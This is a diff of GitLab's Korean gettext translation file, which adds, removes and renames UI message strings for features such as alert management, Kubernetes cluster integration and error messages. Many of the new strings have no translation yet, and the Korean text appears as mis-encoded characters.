msgstr "ì´ ì¼ë°˜ HTML 사ì´íŠ¸ëŠ” GitLab CI/CD 대신 Netlify를 사용하지만, GitLabì˜ ë‹¤ë¥¸ 멋진 ê¸°ëŠ¥ì„ ê³„ì† ì‚¬ìš©í•  수 있습니다."
@@ -1153,6 +1204,9 @@ msgstr "액세스 만료ì¼"
msgid "Access forbidden. Check your access level."
msgstr "액세스 금지. ì ‘ê·¼ ê¶Œí•œì„ í™•ì¸í•˜ì„¸ìš”."
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "%{classification_label} ì— ëŒ€í•œ 액세스가 허용ë˜ì§€ 않습니다."
@@ -1264,6 +1318,9 @@ msgstr "활성화"
msgid "Activate Service Desk"
msgstr "서비스 ë°ìŠ¤í¬ 활성화"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "활성"
@@ -1295,12 +1352,6 @@ msgstr[0] "ì´ìŠˆ %d 추가"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr "%{linkStart}ì—ì…‹%{linkEnd}ì„ ë¦´ë¦¬ì¦ˆì— ì¶”ê°€í•˜ì„¸ìš”. GitLabì´ ìžë™ìœ¼ë¡œ 소스 코드나 릴리즈 ì¦ê±°ì²˜ëŸ¼ ìžë™ìœ¼ë¡œ í¬í•¨í•©ë‹ˆë‹¤."
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "ë³€ê²½ëœ ë¡œê·¸ 추가"
@@ -1415,6 +1466,9 @@ msgstr ""
msgid "Add comment now"
msgstr "댓글 추가"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1427,6 +1481,9 @@ msgstr "ì´ë©”ì¼ ì£¼ì†Œ 추가"
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "ë©”ì¼ ë¨¸ë¦¬ë§ ë° ê¼¬ë¦¬ë§ì„ 추가하십시오. 단, ìƒ‰ìƒ ì„¤ì •ì€ ì• í”Œë¦¬ì¼€ì´ì…˜ ì¸í„°íŽ˜ì´ìŠ¤ 안ì—서만 ì ìš©ë˜ëŠ” ì ì„ 참고해 주십시오."
@@ -1439,6 +1496,9 @@ msgstr "ì´ìŠˆ 추가"
msgid "Add italic text"
msgstr "기울임 í…스트 추가"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "ë ˆì´ë¸” 추가"
@@ -1718,6 +1778,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr "템플릿 ì„ íƒ"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1733,6 +1796,9 @@ msgstr "모든 프로ì íŠ¸ì˜ ìžë™ 앱 리뷰 ë° ìžë™ ë°°í¬ ë‹¨ê³„ì—ì„œ
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "새 환경 변수를 작성할 ë•Œ 기본ì ìœ¼ë¡œ 보호ë©ë‹ˆë‹¤."
@@ -1959,6 +2025,9 @@ msgstr[0] "알림"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -1989,7 +2058,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2046,9 +2115,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2061,6 +2127,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2103,16 +2172,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2142,7 +2208,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2241,6 +2307,9 @@ msgstr "모든 ì´ë©”ì¼ ì£¼ì†ŒëŠ” ì»¤ë°‹ì„ ì‹ë³„하는 ë° ì‚¬ìš©ë©ë‹ˆë‹¤."
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "모든 ê¸°ëŠ¥ì€ ë¹„ì–´ìžˆëŠ” 프로ì íŠ¸, 템플릿, 가져올 ë•Œ 사용할 수 있지만 ë‚˜ì¤‘ì— í”„ë¡œì íŠ¸ 설정ì—ì„œ 비활성화 í•  수 있습니다."
@@ -2388,6 +2457,9 @@ msgstr "사용ìžê°€ 다중 ì¸ì¦ì„ 강제로 구성해야 í•  ì‹œê°„ì„ ê±´ë„
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2454,6 +2526,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr "ë‚´ ë³€ê²½ì‚¬í•­ì„ ì»¤ë°‹í•˜ë˜ ë„중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2526,9 +2601,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2670,15 +2754,18 @@ msgstr "ìº˜ë¦°ë” í™œë™ì„ 가져오는 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
msgid "An error occurred while retrieving diff"
msgstr "ì°¨ì´ì ì„ 가져오는 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "LDAP 무시 ìƒíƒœë¥¼ 저장하는 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤. 다시 ì‹œë„하십시오."
msgid "An error occurred while saving assignees"
msgstr "담당ìžë¥¼ 저장하는 중 오류가 ë°œìƒí•˜ì˜€ìŠµë‹ˆë‹¤."
-msgid "An error occurred while saving the approval settings"
-msgstr "ìŠ¹ì¸ ì„¤ì •ì„ ì €ìž¥í•˜ëŠ” ë™ì•ˆ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr ""
@@ -2703,12 +2790,18 @@ msgstr "승ì¸ìžë¥¼ ì—…ë°ì´íŠ¸í•˜ëŠ” ë™ì•ˆ 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤"
msgid "An error occurred while updating the comment"
msgstr "ëŒ“ê¸€ì„ ì—…ë°ì´íŠ¸í•˜ëŠ” 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr "ì‚¬ìš©ìž ì´ë¦„ì„ í™•ì¸í•˜ëŠ” 중 오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "오류가 ë°œìƒí–ˆìŠµë‹ˆë‹¤. 다시 ì‹œë„í•´ 주세요."
@@ -2787,6 +2880,9 @@ msgstr "Any"
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -2998,6 +3094,9 @@ msgstr "4ì›”"
msgid "April"
msgstr "4ì›”"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3010,6 +3109,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3025,9 +3127,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3136,7 +3235,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3148,9 +3247,6 @@ msgstr "차트 정렬"
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr "결과물 ID"
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3163,6 +3259,9 @@ msgstr "결과물"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3420,7 +3519,7 @@ msgstr "권한 부여"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "%{link_to_client} ì„ ë‚´ 계정으로 ì¸ì¦í•˜ì‹œê² ì–´ìš”?"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3498,6 +3597,9 @@ msgstr "%{lets_encrypt_link_start}Let's Encrypt%{lets_encrypt_link_end}를 사ìš
msgid "Automatic certificate management using Let's Encrypt"
msgstr "Let's Encrypt를 사용하여 ì¸ì¦ì„œë¥¼ ìžë™ìœ¼ë¡œ 관리"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3624,8 +3726,8 @@ msgstr "ê·¸ë£¹ì— ë°°ì§€ê°€ 없습니다."
msgid "Badges|This project has no badges"
msgstr "프로ì íŠ¸ì— 배지가 없습니다."
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "ì´ ë°°ì§€ë¥¼ 삭제하려고합니다. ì‚­ì œ ëœ ë°°ì§€ëŠ” <strong>ë³µì› í•  수 없습니다</strong>."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "내 배지"
@@ -3738,6 +3840,9 @@ msgstr "ì›”"
msgid "BillingPlans|per user"
msgstr "ì‚¬ìš©ìž ë‹¹"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr "업그레ì´ë“œ"
@@ -3807,14 +3912,17 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "브랜치"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "%{branchName} 브랜치는 ì´ í”„ë¡œì íŠ¸ ì €ìž¥ì†Œì— ì—†ìŠµë‹ˆë‹¤."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "<strong>%{branch_name}</strong> 브랜치가 ìƒì„±ë˜ì—ˆìŠµë‹ˆë‹¤. ìžë™ ë°°í¬ë¥¼ 설정하려면 GitLab CI Yaml í…œí”Œë¦¿ì„ ì„ íƒí•˜ê³  변경 ì‚¬í•­ì„ ì ìš©í•˜ì‹­ì‹œì˜¤. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "브랜치가 변경ë˜ì—ˆìŠµë‹ˆë‹¤."
@@ -4008,6 +4116,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "비즈니스"
@@ -4182,6 +4293,9 @@ msgstr "Canary Deployments는 ì¸ê¸°ìžˆëŠ” CI 전략으로, ë°°í¬í™˜ê²½ì˜ ì¼ë
msgid "Cancel"
msgstr "취소"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr "실행 취소"
@@ -4215,10 +4329,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4239,7 +4353,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4425,9 +4539,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "%{docs_link_start} 여기부터 %{docs_link_end} 여기까지 확ì¸."
-msgid "Check your .gitlab-ci.yml"
-msgstr "ë‹¹ì‹ ì˜ .gitlab-ci.ymlì„ ì ê²€í•˜ì„¸ìš”."
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4653,8 +4764,8 @@ msgstr "저장소 ê°€ì ¸ì˜¤ê¸°ì— ëŒ€í•œ 최ìƒìœ„ ê·¸ë£¹ì„ ì„ íƒí•˜ì„¸ìš”."
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "공개 ìˆ˜ì¤€ì„ ì •í•˜ê³ , 프로ì íŠ¸ ê¸°ëŠ¥ì„ (ì´ìŠˆ, 저장소, 위키, 스니펫) 사용/중지하고, ê¶Œí•œì„ ì„¤ì •í•˜ì‹­ì‹œì˜¤."
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "해당 ê·¸ë£¹ì˜ ê°œìš” 페ì´ì§€ì—ì„œ ë³´ê³  ì‹¶ì€ ë¶€ë¶„ì„ ê³ ë¥´ì„¸ìš”."
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "Ci/CD 파ì´í”„ë¼ì¸ì´ ì—°ê²°ë˜ê³  실행할 저장소를 ì„ íƒí•´ 주세요."
@@ -4821,9 +4932,15 @@ msgstr "사용할 수 없습니다: %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr "지우기"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -4929,6 +5046,9 @@ msgstr "닫힘"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "닫힌 ì´ìŠˆ"
@@ -4962,19 +5082,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
-msgstr "%{custom_domain_start}추가 정보%{custom_domain_end}"
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr "ê°œì¸ ë„ë©”ì¸ ëŒ€ì‹  사용할 수 있습니다."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList}ê°€ Kubernetes í´ëŸ¬ìŠ¤í„°ì— 설치ë˜ì—ˆìŠµë‹ˆë‹¤"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5022,14 +5148,17 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
-msgstr "í´ëŸ¬ìŠ¤í„° 통합 | 대용으로"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -5046,6 +5175,9 @@ msgstr "ClusterIntegration|프로ì íŠ¸ë¥¼ 가져오는 ë„중 오류가 ë°œìƒí
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5085,15 +5217,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Kubernetes í´ëŸ¬ìŠ¤í„°ì— 설치할 ì‘ìš© í”„ë¡œê·¸ëž¨ì„ ì„ íƒí•˜ì‹­ì‹œì˜¤. ì•„ëž˜ì˜ ì‘ìš© í”„ë¡œê·¸ëž¨ë“¤ì„ ì„¤ì¹˜í•˜ê¸° 위해서는 Helm Tillerê°€ í•„ìš” 합니다."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "ì´ Kubernetes í´ëŸ¬ìŠ¤í„°ë¥¼ 사용할 프로ì íŠ¸ 환경 ì„ íƒ"
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5118,6 +5247,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr "API URL 복사"
@@ -5301,9 +5433,6 @@ msgstr "Helm Tiller"
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr "Helmì€ Kubernetes ì‘ìš© 프로그램 설치 ë° ê´€ë¦¬ë¥¼ 간소화 합니다. Tiller는 Kubernetes Cluster 내부ì—ì„œ 실행ë˜ë©° ì°¨íŠ¸ì˜ ë¦´ë¦¬ìŠ¤ë¥¼ 관리합니다."
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5499,8 +5628,8 @@ msgstr "노드 수"
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
-msgstr "Kubernetes í´ëŸ¬ìŠ¤í„°ì— 대한 액세스 정보를 입력하십시오. ë„ì›€ì´ í•„ìš”í•˜ì‹œë©´, Kubernetesì— ëŒ€í•œ %{link_to_help_page} 를 참고하세요."
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
+msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "ë‹¹ì‹ ì˜ Google ê³„ì •ì´ ë‹¤ìŒì˜ 요구 ì‚¬í•­ì„ ì¶©ì¡±í•˜ëŠ”ì§€ í™•ì¸ í•˜ì„¸ìš”."
@@ -5718,12 +5847,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5763,15 +5895,27 @@ msgstr "%{link_to_container_project} 프로ì íŠ¸ì— Kubernetes í´ëŸ¬ìŠ¤í„°ë¥¼
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5796,6 +5940,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr "ì´ í”„ë¡œì íŠ¸ì— ì—°ê²°ëœ Kubernetes í´ëŸ¬ìŠ¤í„°ë¥¼ 통해 어플리케ì´ì…˜ì„ 리뷰, ë°°í¬í•  수 있고, 파ì´í”„ë¼ì¸ì„ 실행할 수 있습니다. ê·¸ 외ì—ë„ ë§Žì€ ì¼ì„ 훨씬 쉬운 방법으로 수행할 수 있습니다."
@@ -5811,9 +5958,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5844,8 +5988,8 @@ msgstr "Zone"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "구글 Kubernetes 컨테ì´ë„ˆ ì—”ì§„ì— ì—‘ì„¸ìŠ¤"
-msgid "ClusterIntegration|documentation"
-msgstr "문서"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
+msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
msgstr ""
@@ -6021,6 +6165,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "코멘트"
@@ -6220,8 +6370,8 @@ msgstr ""
msgid "Configure Tracing"
msgstr "ì¶”ì  êµ¬ì„±"
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
-msgstr "웹 í„°ë¯¸ë„ ì‚¬ìš©ì„ ì‹œìž‘í•˜ë„ë¡ <code>.gitlab</code> 디렉토리ì—ì„œ <code>.gitlab-webide.yml</code> 파ì¼ì„ 구성하십시오. %{helpStart}ìžì„¸ížˆ 알아보십시오.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
msgstr "ìžë™ git 검사 ë° ì €ìž¥ì†Œ 하우스 í‚¤í•‘ì„ ì„¤ì •í•©ë‹ˆë‹¤."
@@ -6670,9 +6820,6 @@ msgstr ""
msgid "Copy"
msgstr "복사"
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6757,6 +6904,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6769,6 +6919,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr "채팅 ë‹‰ë„¤ìž„ì„ ì¸ì¦í•˜ì§€ 못했습니다. 다시 ì‹œë„하세요!"
@@ -6793,15 +6946,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr "채팅 닉네임 %{chat_name}(ì„)를 삭제할 수 없습니다."
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6832,6 +6991,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6847,6 +7009,10 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Create"
msgstr "만들기"
@@ -6937,6 +7103,9 @@ msgstr "ì—픽 ìƒì„±"
msgid "Create file"
msgstr "íŒŒì¼ ë§Œë“¤ê¸°"
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr "그룹 만들기"
@@ -6973,6 +7142,9 @@ msgstr "새 보드 만들기"
msgid "Create new branch"
msgstr "새 브랜치 ìƒì„±"
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr "새 디렉토리 만들기"
@@ -6997,6 +7169,9 @@ msgstr "프로ì íŠ¸ ìƒì„±"
msgid "Create project label"
msgstr "새로운 프로ì íŠ¸ ë¼ë²¨"
+msgid "Create release"
